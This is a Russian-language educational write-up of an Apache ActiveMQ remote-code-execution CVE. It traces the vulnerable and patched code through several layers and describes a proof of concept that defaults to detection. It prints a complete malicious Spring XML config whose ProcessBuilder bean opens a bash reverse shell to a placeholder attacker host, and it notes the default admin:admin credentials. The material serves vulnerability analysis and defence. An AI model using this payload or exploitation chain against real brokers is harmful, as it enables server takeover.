
Учебное руководство и proof-of-concept для CVE-2026-41044, RCE-уязвимости в Apache ActiveMQ, с анализом первопричины и скриптом обнаружения.
Примечание: Только в образовательных целях
CVE-2026-41044 была раскрыта 24 апреля 2026 года. Это ошибка удалённого выполнения кода в Apache ActiveMQ Classic, обнаруженная jsjcw, исправленная в версиях 5.19.6 и 6.2.5. Я её не находил.
Что я хочу показать — как человек, который никогда раньше не работал с ActiveMQ, может за один день создать рабочий эксплойт для N-day уязвимости, потому что пропатченный код публичен, непропатченный код публичен, а разница между ними — это один git diff.
Процесс прост:
То, что раньше занимало дни, теперь занимает один день. ИИ не находит ошибки. Он читает код и объясняет его так быстро, как вы задаёте вопросы. Самая затратная часть по-прежнему за вами: решить, что действительно эксплуатируемо, где настоящие границы доверия, что требует проверки. Модель просто проходит по графам вызовов быстрее, чем любой человек.
Более важный момент: если ваш процесс патчинга предполагает неделю анализа на каждую CVE, вы живёте по старому таймлайну. git diff одинаков по длине, пишете ли вы детектирование или эксплойты.
ActiveMQ — это брокер сообщений. Он находится в середине и передаёт сообщения между приложениями. Представьте его как почтовое отделение: приложения сдают сообщения, ActiveMQ доставляет их нужному получателю. Он широко используется в корпоративных Java-стеках и предоставляет веб-консоль и REST API управления под названием Jolokia по адресу /api/jolokia/. Учётные данные по умолчанию во многих развёртываниях до сих пор admin:admin.
ActiveMQ позволял любому аутентифицированному пользователю загрузить конфигурацию брокера с произвольного HTTP URL, которую Spring парсил и немедленно выполнял как Java-объекты — включая ProcessBuilder — что давало атакующему полное выполнение OS-команд на сервере брокера.
localhost./api/jolokia/, который предоставляет операции управления как REST API. До него может добраться любой действительный учётный данные веб-консоли — не только admin.vm://: внутрипроцессный транспорт, используемый, когда клиент находится в той же JVM, что и брокер. Он принимает параметр запроса ?brokerConfig=, указывающий на Spring XML конфиг для загрузки брокера.xbean:: схема URL, которая говорит ActiveMQ обрабатывать URL как Spring XML конфиг и загружать его.init-method: Spring читает XML и автоматически создаёт Java-объекты (бины). Атрибут init-method говорит Spring вызвать метод бина в момент его создания — до выполнения чего-либо ещё.ProcessBuilder: стандартный Java-класс, который выполняет OS-команды. ProcessBuilder.start() запускает команду.DestinationView.sendTextMessage() в версии 5.19.2 строит URL подключения к брокеру, напрямую конкатенируя имя брокера в строку:
// 5.19.2 - DestinationView.sendTextMessage()
String brokerUrl = "vm://" + broker.getBrokerName();
ActiveMQConnectionFactory cf = new ActiveMQConnectionFactory(brokerUrl);
Если getBrokerName() возвращает localhost?brokerConfig=xbean:http://attacker/poison.xml, вся эта строка становится валидным URI vm:// со встроенным параметром запроса. ActiveMQConnectionFactory передаёт его в VMTransportFactory, который извлекает параметр brokerConfig и использует его как URL конфигурации загрузки брокера.
Исправление в 5.19.6 — одна строка:
// 5.19.6 - DestinationView.sendTextMessage()
URI brokerUrl = broker.getVmConnectorURI();
String становится URI — случайная конкатенация больше невозможна. Значение берётся из предварительно созданного, неизменяемого объекта URI, полученного из фактически зарегистрированного VM-коннектора брокера, а не из изменяемой строки имени.
Чтобы Слой 1 был эксплуатируемым, имя брокера сначала должно быть отравлено. BrokerService всегда санировал имена брокеров:
// BrokerService.setBrokerName() - присутствует в ОБЕИХ версиях
private static final String INVALID_BROKER_NAME_CHAR_REG_EXP = "[^a-zA-Z0-9._\\-:]";
brokerName.replaceAll(INVALID_BROKER_NAME_CHAR_REG_EXP, "_");
Это регулярное выражение чисто удаляет ? и =. CVE существовала потому, что у RegionBroker был свой отдельный сеттер, который этого не делал:
// 5.19.2 - RegionBroker.java
private String brokerName; // изменяемый
public void setBrokerName(String brokerName) {
this.brokerName = brokerName; // вообще без валидации
}
Это классический confused deputy — два сеттера в связанных классах, и только один из них санирует. Удалённый пир, транслирующий сфабрикованный пакет BrokerInfo с отравленным полем имени, напрямую достигает RegionBroker.setBrokerName(), полностью обходя регулярное выражение BrokerService.
Исправление в 5.19.6 удаляет сеттер, делает поле final и инициализирует его один раз из уже санированного родителя:
// 5.19.6 - RegionBroker.java
private final String brokerName; // неизменяемый
public RegionBroker(BrokerService brokerService, ...) {
this.brokerName = Objects.requireNonNull(
brokerService.getBrokerName(), "The broker name cannot be null");
// setBrokerName() удалён. Сеттера больше нет.
}
Нельзя обойти санитайзер, у которого нет параллельного писателя.
VMTransportFactory.doCompositeConnect() — это функция, которая принимает URI vm://...?brokerConfig=..., извлекает параметр brokerConfig и вызывает BrokerFactory.createBroker(brokerURI). Это механизм запуска всей цепочки.
Apache не изменил здесь ровно ничего.
Этот выбор говорит вам кое-что о том, как они думали об исправлении. VMTransportFactory выполняет легитимную работу — транспорт vm:// действительно должен принимать конфигурации загрузки. Патчить его сломало бы задуманный дизайн. Вместо этого Apache исправил ошибку в источнике (Слой 2: отравленное имя не может быть записано) и в приёмнике (Слой 5: даже если отравленный URL прошёл, резолвер ресурсов его не загрузит).
Исправляйте слои, где должна быть валидация, а не слой, через который атакующий случайно прошёл.
// XBeanBrokerFactory - одинаково в обеих версиях
protected ApplicationContext createApplicationContext(String uri) throws MalformedURLException {
Resource resource = Utils.resourceFromString(uri); // Слой 5
return new ResourceXmlApplicationContext(resource) { ... };
}
ResourceXmlApplicationContext(resource) — это место, где Spring делает своё дело — каждый init-method бина выполняется при создании контекста, до того как BrokerService ActiveMQ вообще проверит результат. Здесь нечего патчить. Контракт Spring корректен по дизайну. Ошибка заключалась в том, что ActiveMQ полагался на валидацию до инстанцирования, а Spring не обещает такого порядка.
Это функция, которая решала, следует ли загружать xbean:http://attacker/poison.xml. В 5.19.2:
// 5.19.2 - Utils.java
public static Resource resourceFromString(String uri) throws MalformedURLException {
if (new File(uri).exists()) {
return new FileSystemResource(uri);
} else if (ResourceUtils.isUrl(uri)) {
return new UrlResource(ResourceUtils.getURL(uri)); // http? ftp? jar? без проверки.
} else {
return new ClassPathResource(uri);
}
}
Нет фильтра протоколов. http://, https://, ftp://, jar:// — всё принимается молча.
Исправление в 5.19.6 добавляет явный список разрешённых. По умолчанию разрешены только file и classpath. Всё остальное выбрасывает исключение до того, как UrlResource вообще будет создан:
// 5.19.6 - Utils.java
public static final String FILE_PROTOCOL = "file";
public static final String CLASSPATH_PROTOCOL = "classpath";
public static Resource resourceFromString(String uri, Set<String> allowedProtocols)
throws MalformedURLException {
// ...
} else if (ResourceUtils.isUrl(uri)) {
validateUrlAllowed(uri, allowedProtocols); // выбрасывает исключение для http/https/etc
resource = new UrlResource(ResourceUtils.getURL(uri));
}
}
static void validateUrlAllowed(String uriString, Set<String> allowedProtocols)
throws URISyntaxException {
if (allowedProtocols != null) {
final String detectedProtocol = getProtocolFromScheme(uriString);
if (!allowedProtocols.contains(detectedProtocol)) {
throw new IllegalArgumentException("URL [" + uriString +
"] uses protocol '" + detectedProtocol + "' which is not allowed");
}
}
}
XBeanBrokerFactory теперь передаёт {file, classpath} как список разрешённых. Даже если отравленное имя брокера каким-то образом достигнет этой функции в будущей версии, http://attacker/poison.xml выбросит исключение до того, как Spring его увидит.
<beans xmlns="http://www.springframework.org/schema/beans" ...>
<bean id="rce" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>/bin/sh</value>
<value>-c</value>
<value>bash -i >& /dev/tcp/attacker/4444 0>&1</value>
</list>
</constructor-arg>
</bean>
</beans>
В момент, когда Spring создаёт ApplicationContext, init-method="start" срабатывает на бине ProcessBuilder. Валидация BrokerService.start() ActiveMQ выполняется после. К тому времени шелл уже подключился обратно.
Есть два способа достичь уязвимого приёмника Utils.resourceFromString:
Полный производственный путь (как описано в бюллетене):
Удалённый пир отправляет сфабрикованный пакет BrokerInfo
-> RegionBroker.setBrokerName() сохраняет отравленное имя без валидации
-> DestinationView.sendTextMessage() конкатенирует его в URL vm://
-> VMTransportFactory извлекает параметр brokerConfig
-> XBeanBrokerFactory -> Utils.resourceFromString -> Spring RCE
Короткий путь (что использует poc.sh):
BrokerFactory.createBroker("xbean:http://attacker/poison.xml")
-> XBeanBrokerFactory -> Utils.resourceFromString -> Spring RCE
PoC использует короткий путь по практической причине: полный путь требует настройки второго брокера ActiveMQ как сетевого пира, который отправляет сфабрикованный пакет BrokerInfo на цель — взаимодействие брокер-к-брокеру, требующее более сложной лабораторной настройки. Короткий путь работает с одним брокером и базовым HTTP-сервером.
Оба пути попадают в один и тот же уязвимый примитив. PoC подтверждает, что приёмник эксплуатируем и CVE присутствует на цели. Если вы хотите воспроизвести точную точку входа, описанную в бюллетене, вам нужно добавить шаг брокер-к-брокеру.
PoC по умолчанию работает в режиме только детектирования. Он проверяет два сигнала:
Проверка баннера — читает BrokerVersion через Jolokia:
< 5.19.6 или 6.0.0 - 6.2.4 = уязвимый диапазонПоведенческая проверка — вызывает addNetworkConnector("vm://probe") через Jolokia:
Transport scheme 'vm' is not allowedDiscoveryAgent scheme NOT recognizedОтказ на пропатченной версии исходит из BrokerView.validateAllowedUrl() — отдельного списка запрещённых, добавленного непосредственно в JMX-операцию addNetworkConnector в 5.19.6, а не из Utils.resourceFromString. Это два независимых исправления: одно защищает поверхность управления JMX, другое защищает примитив загрузки ресурсов, описанный в Слое 5. Поведенческий зонд проверяет первое.
| Слой | Уязвимая (5.19.2) | Исправленная (5.19.6) |
|---|---|---|
DestinationView | конкатенация строк "vm://" + brokerName | неизменяемый URI broker.getVmConnectorURI() |
RegionBroker | изменяемое поле, несанированный сеттер | поле final, сеттер удалён, инициализация из санированного родителя |
VMTransportFactory | без изменений | без изменений (по дизайну) |
XBeanBrokerFactory | вызывает Utils.resourceFromString(uri) | вызывает Utils.resourceFromString(uri, allowedProtocols) |
Utils.resourceFromString | загружает любую схему URL | применяется список разрешённых — по умолчанию только file и classpath |